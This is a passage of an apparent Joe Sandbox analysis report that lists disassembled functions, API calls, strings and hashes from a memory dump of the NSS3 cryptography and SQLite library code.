Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
misuse, xrefs: 6C645EDB
%s at line %d of [%.10s], xrefs: 6C645EE0
invalid, xrefs: 6C645EBE
API call with %s database connection pointer, xrefs: 6C645EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

database corruption, xrefs: 6C62DE5C, 6C62DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5
%s=%s, xrefs: 6C6B4F89
%s=%c%s%c, xrefs: 6C6B4FA9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
